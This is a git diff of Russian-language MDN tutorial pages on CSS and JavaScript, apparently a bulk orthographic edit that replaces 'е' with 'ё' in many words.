diff options
Diffstat (limited to 'files')
1585 files changed, 6751 insertions, 6751 deletions
diff --git a/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html index f1a3bac827..599069cfb2 100644 --- a/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html +++ b/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -15,7 +15,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance --- <p>{{ CSSTutorialTOC() }}</p> -<p>{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "Как работает CSS")}} Это четвертый раздел руководства <a href="/ru/docs/Web/Guide/CSS/Getting_Started" title="ru/CSS/Getting Started">CSS для начинающих</a>. Он описывает, как таблицы стилей взаимодействуют в каскаде, и как дочерние элементы наследуют стиль от родительских. Используя наследование, в приведённой ниже задаче вы измените стиль некоторых элементов за один шаг.</p> +<p>{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "Как работает CSS")}} Это четвёртый раздел руководства <a href="/ru/docs/Web/Guide/CSS/Getting_Started" title="ru/CSS/Getting Started">CSS для начинающих</a>. Он описывает, как таблицы стилей взаимодействуют в каскаде, и как дочерние элементы наследуют стиль от родительских. Используя наследование, в приведённой ниже задаче вы измените стиль некоторых элементов за один шаг.</p> <h2 id="Информация_Каскадность_и_наследование">Информация: Каскадность и наследование</h2> @@ -26,7 +26,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance <ul> <li>Стили разметки браузера по умолчанию.</li> <li>Стили, указанные пользователем при чтении документа.</li> - <li>Стили, связанные с документом их автором. Их можно указывать в трех местах:</li> + <li>Стили, связанные с документом их автором. Их можно указывать в трёх местах:</li> </ul> <ol> @@ -42,7 +42,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance <p>Когда вы читаете этот документ в браузере, часть стилей происходит от стилей для HTML по умолчанию вашего браузера.</p> -<p>Часть стиля может происходить от измененных настроек браузера или измененного файла определения стиля. В Firefox настройки можно изменить в диалоге Предпочтения или же указать стили в файле <code>userContent.css</code> в профиле браузера.</p> +<p>Часть стиля может происходить от изменённых настроек браузера или изменённого файла определения стиля. В Firefox настройки можно изменить в диалоге Предпочтения или же указать стили в файле <code>userContent.css</code> в профиле браузера.</p> <p>Часть стиля приходит из таблиц стилей, связываемых с документом вики-сервером.</p> </div> @@ -77,7 +77,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance <pre>p {color: blue; text-decoration: underline;} </pre> </li> - <li>Теперь сохраните документ и обновите страницу в браузере, чтобы увидеть изменения. Весь текст в абзаце будет подчеркнут, в том числе и начальные буквы. Элемент {{ HTMLElement("strong") }} унаследовал подчеркнутый стиль от родительского элемента {{ HTMLElement("p") }} .<br> + <li>Теперь сохраните документ и обновите страницу в браузере, чтобы увидеть изменения. Весь текст в абзаце будет подчеркнут, в том числе и начальные буквы. Элемент {{ HTMLElement("strong") }} унаследовал подчёркнутый стиль от родительского элемента {{ HTMLElement("p") }} .<br> <p>Обратите внимание, что элементы {{ HTMLElement("strong") }} всё ещё красные. Красный цвет является их собственным стилем, поэтому имеет приоритет перед синим цветом, заданным для родительского элемента {{ HTMLElement("p") }} . </p> </li> @@ -123,7 +123,7 @@ strong {color:red}</pre> <div class="tuto_example"> <div class="tuto_type">Задание</div> -Измените таблицу стилей таким образом, чтобы были подчеркнуты только красные буквы: +Измените таблицу стилей таким образом, чтобы были подчёркнуты только красные буквы: <table style="border: 2px outset #3366bb; padding: 1em;"> <tbody> @@ -136,7 +136,7 @@ strong {color:red}</pre> <div class="tuto_details" id="tutochallenge"> <div class="tuto_type">Возможное решение</div> -<p>Переместите объявление подчеркивания из правила для {{ HTMLElement("p") }} в правило для {{ HTMLElement("strong") }}. В результате файл будет выглядеть следующим образом:</p> +<p>Переместите объявление подчёркивания из правила для {{ HTMLElement("p") }} в правило для {{ HTMLElement("strong") }}. В результате файл будет выглядеть следующим образом:</p> <pre class="brush: css">p {color: blue; } strong {color: red; text-decoration: underline;} diff --git a/files/ru/conflicting/learn/css/building_blocks/selectors/index.html b/files/ru/conflicting/learn/css/building_blocks/selectors/index.html index 2454954951..795cc38b8c 100644 --- a/files/ru/conflicting/learn/css/building_blocks/selectors/index.html +++ b/files/ru/conflicting/learn/css/building_blocks/selectors/index.html @@ -6,7 +6,7 @@ translation_of_original: Learn/CSS/CSS_properties original_slug: Learn/CSS/CSS_properties --- <div class="summary"> -<p>{{Glossary("CSS")}} определяет как должна выглядеть веб-страница. Он использует предопределенные правила вместе с селекторами и свойствами для применения стилей к элементам HTML или группам элементов.</p> +<p>{{Glossary("CSS")}} определяет как должна выглядеть веб-страница. Он использует предопределённые правила вместе с селекторами и свойствами для применения стилей к элементам HTML или группам элементов.</p> </div> <table class="learn-box standard-table"> diff --git a/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html b/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html index c63d438935..e565ec9839 100644 --- a/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html +++ b/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html @@ -51,7 +51,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors <p><code>Используйте атрибут <a href="/en-US/docs/Web/HTML/Global_attributes#id" title="en-US/docs/Web/HTML/Global_attributes#id">id</a> в элементе, чтобы назначить идентификатор элементу. Это зависит от вас, какое имя вы выберете для ID. Идентификационное имя должно быть уникальным в документе.</code></p> -<p>В таблице стилей введите знак решетки перед идентификатором, когда вы используете его в селекторе.</p> +<p>В таблице стилей введите знак решётки перед идентификатором, когда вы используете его в селекторе.</p> <div class="tuto_example"> <div class="tuto_type">Пример</div> @@ -91,7 +91,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors <dt><code>[lang|=es]</code></dt> <dd>Выбирает элементы определённые как Spanish. Это включает "es" и "es-MX" но не включает "eu-ES" (что является языком Basque).</dd> <dt>[title*="example" i]</dt> - <dd>Выбирает элементы в состав которых входит "example", игнорируя регистр. В браузерах, которые не поддерживают флаг "i", этот селектор возможно не найдет ни один элемент.</dd> + <dd>Выбирает элементы в состав которых входит "example", игнорируя регистр. В браузерах, которые не поддерживают флаг "i", этот селектор возможно не найдёт ни один элемент.</dd> <dt><code>a[href^="https://"]</code></dt> <dd>Выбирает все защищённые ссылки.</dd> <dt><code>img[src$=".png"]</code></dt> @@ -100,7 +100,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors <h3 id="Селекторы_псевдокласса"><span class="short_text" id="result_box" lang="ru"><span>Селекторы псевдокласса</span></span></h3> -<p><span id="result_box" lang="ru"><span>Псевдокласс класса CSS - это ключевое слово, добавленное в селектор, который задает особое состояние выбранного элемента.</span> <span class="alt-edited">Например {{Cssxref (": hover")}} применит стиль, когда пользователь наводит на элемент, указанный селектором.</span></span></p> +<p><span id="result_box" lang="ru"><span>Псевдокласс класса CSS - это ключевое слово, добавленное в селектор, который задаёт особое состояние выбранного элемента.</span> <span class="alt-edited">Например {{Cssxref (": hover")}} применит стиль, когда пользователь наводит на элемент, указанный селектором.</span></span></p> <p><span id="result_box" lang="ru"><span>Псевдо-классы вместе с псевдоэлементами позволяют применять стиль к элементу не только по отношению к содержанию дерева документов, но и по отношению к внешним факторам, таким как история навигатора</span></span> ({{ cssxref(":visited") }}, для примера), <span id="result_box" lang="ru"><span>статус его содержимого</span></span> (наподобие {{ cssxref(":checked") }} <span id="result_box" lang="ru"><span>на некоторых элементах формы) или положение мыши </span></span> (наподобие {{ cssxref(":hover") }} <span id="result_box" lang="ru"><span> который позволяет узнать, находится ли мышь над элементом или нет).</span> <span>Чтобы просмотреть полный список селекторов, посетите</span></span> <a class="external" href="http://www.w3.org/TR/selectors/#selectors" rel="external nofollow" title="CSS3 Selectors working spec">CSS3 Спецификация работы селекторов</a>.</p> @@ -137,7 +137,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors <h2 id="Информация_Специфичность"><span class="short_text" id="result_box" lang="ru"><span>Информация: Специфичность</span></span></h2> -<p><span id="result_box" lang="ru"><span>Несколько правил могут иметь селектор, каждый из которых соответствует одному и тому же элементу.</span> <span>Если свойство задано только одним правилом, конфликт не возникает, и свойство устанавливается в элементе.</span> <span>Если к элементу применяется более одного правила и устанавливает одно и то же свойство, тогда CSS дает приоритет правилу, которое имеет более</span></span> <a href="/en-US/docs/Web/CSS/Specificity">конкретный</a> <span id="result_box" lang="ru"><span>селектор</span><span>.</span> <span>Селектор ID более специфичен, чем селектор класса, псевдокласса или атрибута, который, в свою очередь, более специфичен, чем селектор тегов или псевдоэлементов.</span></span></p> +<p><span id="result_box" lang="ru"><span>Несколько правил могут иметь селектор, каждый из которых соответствует одному и тому же элементу.</span> <span>Если свойство задано только одним правилом, конфликт не возникает, и свойство устанавливается в элементе.</span> <span>Если к элементу применяется более одного правила и устанавливает одно и то же свойство, тогда CSS даёт приоритет правилу, которое имеет более</span></span> <a href="/en-US/docs/Web/CSS/Specificity">конкретный</a> <span id="result_box" lang="ru"><span>селектор</span><span>.</span> <span>Селектор ID более специфичен, чем селектор класса, псевдокласса или атрибута, который, в свою очередь, более специфичен, чем селектор тегов или псевдоэлементов.</span></span></p> <div class="tuto_details"> <div class="tuto_type"><span class="short_text" id="result_box" lang="ru"><span>Подробнее</span></span></div> @@ -145,7 +145,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors <p><span id="result_box" lang="ru"><span>Вы также можете комбинировать селектор, создавая более конкретный селектор.</span> <span>Например, селектор</span></span> <code>.key</code> <span id="result_box" lang="ru"><span>выбирает все элементы, с ключом имени класса </span></span><code>key</code>. Селектор <code>p.key</code> отбирает только {{ HTMLElement("p") }} элементы, которые имеют имя класса <code>key</code>.</p> </div> -<p><span id="result_box" lang="ru"><span>Если таблица стилей имеет противоречивые правила, и они одинаково специфичны, тогда CSS дает приоритет правилу, которое позже находится в таблице стилей.</span></span></p> +<p><span id="result_box" lang="ru"><span>Если таблица стилей имеет противоречивые правила, и они одинаково специфичны, тогда CSS даёт приоритет правилу, которое позже находится в таблице стилей.</span></span></p> <p><span id="result_box" lang="ru"><span class="alt-edited">Если у вас возникла проблема с конфликтующими правилами, попробуйте разрешить это, сделав одно из правил более конкретным, чтобы оно имело приоритет.</span> <span class="alt-edited">Если вы не можете этого сделать, попробуйте переместить одно из правил ближе к концу таблицы стилей, чтобы оно имело приоритет.</span></span></p> @@ -174,14 +174,14 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors </tr> <tr> <td><code>B + E</code></td> - <td>Любой E элемент, что является следующим <em>"братом"</em> B элемента (то есть: следующий ребенок того же родителя)</td> + <td>Любой E элемент, что является следующим <em>"братом"</em> B элемента (то есть: следующий ребёнок того же родителя)</td> </tr> </tbody> </table> <p>Вы можете комбинировать их для выражения сложных отношений.</p> -<p>Вы можете так же использовать символ <code>*</code> (звездочка), что подразумевает "любой элемент".</p> +<p>Вы можете так же использовать символ <code>*</code> (звёздочка), что подразумевает "любой элемент".</p> <div class="tuto_example"> <div class="tuto_type">Пример</div> @@ -198,7 +198,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors ... </pre> -<p>Эти правила делают первую ячейку в каждой строке подчеркнутой, а "брат" первой ячейки каждой строки зачеркнутой (в примере 2-я ячейка) . <span id="result_box" lang="ru"><span>Они влияют только на одну конкретную таблицу в документе:</span></span>:</p> +<p>Эти правила делают первую ячейку в каждой строке подчёркнутой, а "брат" первой ячейки каждой строки зачёркнутой (в примере 2-я ячейка) . <span id="result_box" lang="ru"><span>Они влияют только на одну конкретную таблицу в документе:</span></span>:</p> <pre class="brush:css">#data-table-1 td:first-child {text-decoration: underline;} #data-table-1 td:first-child + td {text-decoration: line-through;} @@ -433,4 +433,4 @@ div.menu-bar li:hover > ul { <h2 id="Что_дальше">Что дальше?</h2> -<p>Ваша таблица стилей начинает выглядеть плотной и сложной. Следующая секция описывает пути CSS <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS">легкого чтения</a>. {{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}</p> +<p>Ваша таблица стилей начинает выглядеть плотной и сложной. Следующая секция описывает пути CSS <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS">лёгкого чтения</a>. {{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}</p> diff --git a/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html b/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html index c441ff992d..1203f44fc9 100644 --- a/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html +++ b/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html @@ -11,13 +11,13 @@ original_slug: Web/Guide/CSS/Getting_started/Таблицы --- <p>{{CSSTutorialTOC}}{{previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/Layout", "Layout")}}</p> -<p>Это 13-я секция руководства <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Начало работы</a>; оно описывает более продвинутые селекторы и некоторые специфичные способы, которыми вы можете стилизовать таблицу. Вы создаете новый пример документа, содержащий таблицу и таблицу стилей для неё.</p> +<p>Это 13-я секция руководства <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Начало работы</a>; оно описывает более продвинутые селекторы и некоторые специфичные способы, которыми вы можете стилизовать таблицу. Вы создаёте новый пример документа, содержащий таблицу и таблицу стилей для неё.</p> <h2 class="clearLeft" id="Информация_Таблицы">Информация: Таблицы</h2> <p>Таблица располагает информацию в прямоугольной сетке. Некоторые таблицы могут быть сложными, и для сложных таблиц разные браузеры выдают разный результат.</p> -<p>Когда вы проектируете ваш документ, используйте таблицы для выражения <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors" title="en-US/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors">отношений</a> между кусочками информации. Поэтому это не важно, если различные браузеры отображают информацию слегка различными способами, потому что значение остается ясным.</p> +<p>Когда вы проектируете ваш документ, используйте таблицы для выражения <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors" title="en-US/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors">отношений</a> между кусочками информации. Поэтому это не важно, если различные браузеры отображают информацию слегка различными способами, потому что значение остаётся ясным.</p> <p>Не используйте таблицы необычным способом для создания особенной визуальной разметки. Техники на предыдущей странице руководства (<strong><a href="/ru/docs/Web/Guide/CSS/Getting_Started/Layout" title="en-US/docs/Web/Guide/CSS/Getting_Started/Layout">Разметка</a></strong>) предпочтительнее для этой цели.</p> @@ -161,7 +161,7 @@ original_slug: Web/Guide/CSS/Getting_started/Таблицы <p>Вы можете отобразить пустые ячейки (т.е. их рамки и фон) указывав {{cssxref("empty-cells")}}: show; для элемента таблицы.</p> -<p>Вы можете скрыть их, указав <code>empty-cells: hide;</code>. Тогда, если у элемента родителя ячейки есть фон, он будет отображен через пустую ячейку.</p> +<p>Вы можете скрыть их, указав <code>empty-cells: hide;</code>. Тогда, если у элемента родителя ячейки есть фон, он будет отображён через пустую ячейку.</p> <div class="tuto_example"> <div class="tuto_type">Пример</div> @@ -431,7 +431,7 @@ original_slug: Web/Guide/CSS/Getting_started/Таблицы </tbody> </table> </li> - <li>Сравните правила в таблице стилей с отображенной таблицей, чтобы гарантировать, что вы понимаете действие для каждого правила. Если вы найдете правило, значение которого вы не понимаете, то закомментируйте его и обновите страницу, чтобы посмотреть, что изменилось. Вот несколько заметок об этой таблице: + <li>Сравните правила в таблице стилей с отображённой таблицей, чтобы гарантировать, что вы понимаете действие для каждого правила. Если вы найдёте правило, значение которого вы не понимаете, то закомментируйте его и обновите страницу, чтобы посмотреть, что изменилось. Вот несколько заметок об этой таблице: <ul> <li>Заголовок находится снаружи рамки таблицы.</li> <li>Если у вас установлен минимальный размер точки в Опциях, это может повлиять на верхний индекс в km<sup>2</sup>.</li> diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html index 450003b569..cb90e2d8c7 100644 --- a/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html +++ b/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html @@ -17,9 +17,9 @@ original_slug: Web/Guide/CSS/Getting_started/Readable_CSS <p>Пустое пространство означает фактические пробелы, табуляцию, а также новые строки. Вы можете использовать их, чтобы сделать ваш код более читабельным.</p> -<p>В макете страницы, данное пространство — это та часть, которая остается без опознавательных знаков: отступы от других элементов (margin) и пространство между колонками и строками.</p> +<p>В макете страницы, данное пространство — это та часть, которая остаётся без опознавательных знаков: отступы от других элементов (margin) и пространство между колонками и строками.</p> -<p>Ваш пример файла CSS в настоящее время имеет правила в одной строке, и почти минимум пробелов. В комплексе стилей эта схема будет усложнять читаемость, а значит в нее будет трудно вносить изменения.</p> +<p>Ваш пример файла CSS в настоящее время имеет правила в одной строке, и почти минимум пробелов. В комплексе стилей эта схема будет усложнять читаемость, а значит в неё будет трудно вносить изменения.</p> <p>Стиль написания который вы выбираете, как правило, зависит от личных предпочтений, но если ваши css являются частью общих проектов, могут возникнуть трудности с понимаем вашего написания кода.</p> @@ -119,7 +119,7 @@ h1, h2, h3 {color: navy;} p {color: blue;} </pre> </li> - <li>Сделайте его более читабельным, перестраивая его таким образом, какой будете считать более логичным и применяя пробелы и комментарии на свое усмотрение.</li> + <li>Сделайте его более читабельным, перестраивая его таким образом, какой будете считать более логичным и применяя пробелы и комментарии на своё усмотрение.</li> <li>Сохраните файл и обновите экран браузера, чтобы убедиться, что ваши изменения не повлияли на роботу стилей: <table style="border: 2px outset #36b; padding: 1em;"> <tbody> @@ -164,4 +164,4 @@ One way to do this is to put comment delimiters around the rule for <code>.carro <h2 id="Что_дальше">Что дальше?</h2> -<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles", "Text styles") }}Ваш образец таблицы стилей использовал курсивный текст и подчеркнутый текст. На следующей странице описаны несколько способов, чтобы <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles">указать внешний вид текста</a> в вашем документе<strong>.</strong></p> +<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles", "Text styles") }}Ваш образец таблицы стилей использовал курсивный текст и подчёркнутый текст. На следующей странице описаны несколько способов, чтобы <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles">указать внешний вид текста</a> в вашем документе<strong>.</strong></p> diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html index 05b7c9e54c..218c8bc90d 100644 --- a/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html +++ b/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html @@ -22,7 +22,7 @@ original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS <h2 class="clearLeft" id="Информация_Зачем_нужен_CSS">Информация: Зачем нужен CSS?</h2> -<p>CSS используется для определения стилей ваших документов, в том числе дизайна, верстки и вариаций макета для различных устройств и размеров экрана. Вы можете разместить стили CSS внутри тега <HEAD> документа с встроенной таблицей стилей, или приложить отдельный CSS-файл, который будет определять ваши стили извне. Чтобы привязать внешнюю таблицу стилей к документу, просто добавьте ссылку на таблицу стилей в заголовке <HEAD> документа.</p> +<p>CSS используется для определения стилей ваших документов, в том числе дизайна, вёрстки и вариаций макета для различных устройств и размеров экрана. Вы можете разместить стили CSS внутри тега <HEAD> документа с встроенной таблицей стилей, или приложить отдельный CSS-файл, который будет определять ваши стили извне. Чтобы привязать внешнюю таблицу стилей к документу, просто добавьте ссылку на таблицу стилей в заголовке <HEAD> документа.</p> <p>У внешней таблицы стилей есть множество преимуществ. Сохранение стилей отдельно от содержания HTML:</p> @@ -35,7 +35,7 @@ original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS <div class="tuto_example"> <div class="tuto_type">Пример</div> -<p>Используя CSS, вы храните информацию о стилях в общих файлах, которые доступны всем страницам. Например, когда документы ссылаются на те таблицы стилей, которые определяют цвет заголовков h2, вы можете применить стиль для тегов заголовков h2 на глобальном уровне путем изменения одного атрибута CSS.</p> +<p>Используя CSS, вы храните информацию о стилях в общих файлах, которые доступны всем страницам. Например, когда документы ссылаются на те таблицы стилей, которые определяют цвет заголовков h2, вы можете применить стиль для тегов заголовков h2 на глобальном уровне путём изменения одного атрибута CSS.</p> <p>Когда пользователь открывает веб-страницу, браузер загружает информацию стиля вместе с содержанием страницы.</p> diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html index b34e9ae78a..39d6ffe3a1 100644 --- a/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html +++ b/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html @@ -35,7 +35,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS </ul> </div> -<p>В этом руководстве блоки с заголовком <strong>Подробнее</strong>, как нижеследующий, содержат дополнительную информацию и ссылки на ресурсы, позволяющие более глубоко изучить вопрос, которому посвящен тот или иной раздел. Вы можете сразу же воспользоваться этими материалами или же пропустить эти блоки и вернуться к ним позже.</p> +<p>В этом руководстве блоки с заголовком <strong>Подробнее</strong>, как нижеследующий, содержат дополнительную информацию и ссылки на ресурсы, позволяющие более глубоко изучить вопрос, которому посвящён тот или иной раздел. Вы можете сразу же воспользоваться этими материалами или же пропустить эти блоки и вернуться к ним позже.</p> <div class="tuto_details"> <div class="tuto_type">Подробнее</div> @@ -44,7 +44,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS <p>Со страницей, которую вы сейчас читаете, дела обстоят немного сложнее. Когда ваш браузер запрашивает данную страницу, сервер обращается к базе данных и генерирует документ, собирая его по частям из нескольких документов, каждый из которых, в свою очередь, может располагаться в нескольких файлах. Однако в этом руководстве вы также сможете работать с документами, каждый из которых представлен одним файлом.</p> -<p>Больше информации о документах и языках разметки вы найдете в других разделах этого сайта:</p> +<p>Больше информации о документах и языках разметки вы найдёте в других разделах этого сайта:</p> <table style="background-color: inherit; margin-left: 2em;"> <tbody> @@ -83,7 +83,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS <ol> <li>Создайте новую папку на вашем компьютере для упражнений.</li> <li>Откройте текстовый редактор и создайте новый текстовый файл. Этот файл будет содержать документ для нескольких следующих упражнений.</li> - <li>Скопируйте и вставьте HTML, приведенный ниже, а затем сохраните ваш файл под именем <code>doc1.html.</code> + <li>Скопируйте и вставьте HTML, приведённый ниже, а затем сохраните ваш файл под именем <code>doc1.html.</code> <pre class="brush: html"><!DOCTYPE html> <html> <head> diff --git a/files/ru/conflicting/learn/css/first_steps/index.html b/files/ru/conflicting/learn/css/first_steps/index.html index b3333c936c..2cfb1cb428 100644 --- a/files/ru/conflicting/learn/css/first_steps/index.html +++ b/files/ru/conflicting/learn/css/first_steps/index.html @@ -18,7 +18,7 @@ translation_of: Learn/CSS/First_steps translation_of_original: Web/Guide/CSS/Getting_started original_slug: Web/Guide/CSS/Getting_started --- -<p><span class="seoSummary">Это руководство (самоучитель) познакомит вас с базовыми возможностями и языком (синтаксисом) <a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS"><strong>Каскадных таблиц стилей</strong></a> (CSS). CSS используется для изменения внешнего вида структурированного документа, такого как веб-страница. Руководство также включает простые упражнения, которые вы сможете выполнить на своем компьютере и увидеть, как работает CSS, а также его возможности в современных браузерах. </span></p> +<p><span class="seoSummary">Это руководство (самоучитель) познакомит вас с базовыми возможностями и языком (синтаксисом) <a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS"><strong>Каскадных таблиц стилей</strong></a> (CSS). CSS используется для изменения внешнего вида структурированного документа, такого как веб-страница. Руководство также включает простые упражнения, которые вы сможете выполнить на своём компьютере и увидеть, как работает CSS, а также его возможности в современных браузерах. </span></p> <p>Данное руководство создано для новичков и всех, кто хотел бы освежить свои знания основ CSS. Если у вас уже есть опыт работы с CSS, на главной странице вы можете найти <a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS">список</a> обучающих ресурсов, подходящих для вашего уровня.</p> @@ -46,7 +46,7 @@ original_slug: Web/Guide/CSS/Getting_started <p>Чтобы проверить усвоенные знания, вам будет полезно решить задачу в конце каждой страницы. Верные решения задач вы всегда можете найти под их описанием в виде ссылки - таким образом, вы не сможете увидеть их случайно.</p> -<p>Чтобы добиться более глубокого понимания CSS, читайте информацию в блоках с заголовком <em>Подробнее</em>. А также не забудьте посетить приведенные там ссылки.</p> +<p>Чтобы добиться более глубокого понимания CSS, читайте информацию в блоках с заголовком <em>Подробнее</em>. А также не забудьте посетить приведённые там ссылки.</p> <h3 id="Часть_II_Возможности_CSS">Часть II: Возможности CSS</h3> diff --git a/files/ru/conflicting/learn/javascript/objects/index.html b/files/ru/conflicting/learn/javascript/objects/index.html index 4d59e1fbfe..441500dbc0 100644 --- a/files/ru/conflicting/learn/javascript/objects/index.html +++ b/files/ru/conflicting/learn/javascript/objects/index.html @@ -17,7 +17,7 @@ original_slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript <p>ООП представляет программное обеспечение как совокупность взаимодействующих объектов, а не набор функций или просто список команд (как в традиционном представлении). В ООП, каждый объект может получать сообщения, обрабатывать данные, и отправлять сообщения другим объектам. Каждый объект может быть представлен как маленькая независимая машина с отдельной ролью или ответственностью.</p> -<p>ООП способствует большей гибкости и поддерживаемости в программировании, и широко распространена в крупномасштабном программном инжиниринге. Так как ООП настоятельно подчеркивает модульность, объектно-ориентированный код проще в разработке и проще для понимания впоследствии. Объектно-ориентированный код способствует более точному анализу, кодированию и пониманию сложных ситуаций и процедур, чем методы программирования с меньшей модульностью.<a href="#cite-1"><sup>1</sup></a></p> +<p>ООП способствует большей гибкости и поддерживаемости в программировании, и широко распространена в крупномасштабном программном инжиниринге. Так как ООП настоятельно подчёркивает модульность, объектно-ориентированный код проще в разработке и проще для понимания впоследствии. Объектно-ориентированный код способствует более точному анализу, кодированию и пониманию сложных ситуаций и процедур, чем методы программирования с меньшей модульностью.<a href="#cite-1"><sup>1</sup></a></p> <h2 id="Terminology" name="Terminology">Терминология</h2> @@ -146,7 +146,7 @@ var person2 = new Person(); <h4 id="The_Constructor" name="The_Constructor">Конструктор</h4> -<p>Конструктор вызывается в момент создания экземпляра класса (в тот самый момент, когда создается объект). Конструктор является методом класса. В JavaScript функция служит конструктором объекта, поэтому нет необходимости явно определять метод конструктор. Любое действие определенное в конструкторе будет выполнено в момент создания экземпляра класса.</p> +<p>Конструктор вызывается в момент создания экземпляра класса (в тот самый момент, когда создаётся объект). Конструктор является методом класса. В JavaScript функция служит конструктором объекта, поэтому нет необходимости явно определять метод конструктор. Любое действие определённое в конструкторе будет выполнено в момент создания экземпляра класса.</p> <p>Конструктор используется для задания свойств объекта или для вызова методов, которые подготовят объект к использованию. Добавление методов и их описаний производится с использованием другого синтаксиса, описанного далее в этой статье.</p> @@ -273,7 +273,7 @@ function Student(firstName, subject) { }; // Создаём объект Student.prototype, который наследуется от Person.prototype. -// Примечание: Распространенная ошибка здесь, это использование "new Person()", чтобы создать +// Примечание: Распространённая ошибка здесь, это использование "new Person()", чтобы создать // Student.prototype. Это неверно по нескольким причинам, не в последнюю очередь // потому, что нам нечего передать в Person в качестве аргумента "firstName" // Правильное место для вызова Person показано выше, где мы вызываем diff --git a/files/ru/conflicting/mdn/contribute/index.html b/files/ru/conflicting/mdn/contribute/index.html index 9a6e9e139b..781b4d80ae 100644 --- a/files/ru/conflicting/mdn/contribute/index.html +++ b/files/ru/conflicting/mdn/contribute/index.html @@ -12,7 +12,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN <div class="column-8"> <h2 id="Как_принять_участие">Как принять участие</h2> -<p>Внести свой вклад в MDN очень просто, и есть два способа начать работу. Вы видите страницу, которую можно улучшить (исправив опечатку, добавив новую информацию или исправив технические ошибки)? Просто нажмите большую синюю кнопку "Редактировать" в верхней части страницы. <span class="tlid-translation translation" lang="ru"><span title="">Вы знаете что-то, чего мы еще не освещаем?</span></span> Просто <a href="/ru/docs/MDN/Contribute/Creating_and_editing_pages#Создание_новой_страницы">создайте новую страницу</a>; <span class="tlid-translation translation" lang="ru"><span title="">наше сообщество замечательных обозревателей и редакторов позаботится о том, чтобы ваша страница соответствовала нашему <a href="/ru/docs/Project:Writer's_guide">руководству по оформлению</a> и находилась в нужном месте на сайте.</span> <span title="">Не переживайте из-за того, чтобы получилось «полностью правильно».</span> <span title="">Каждый может помочь сделать Интернет лучше.</span></span></p> +<p>Внести свой вклад в MDN очень просто, и есть два 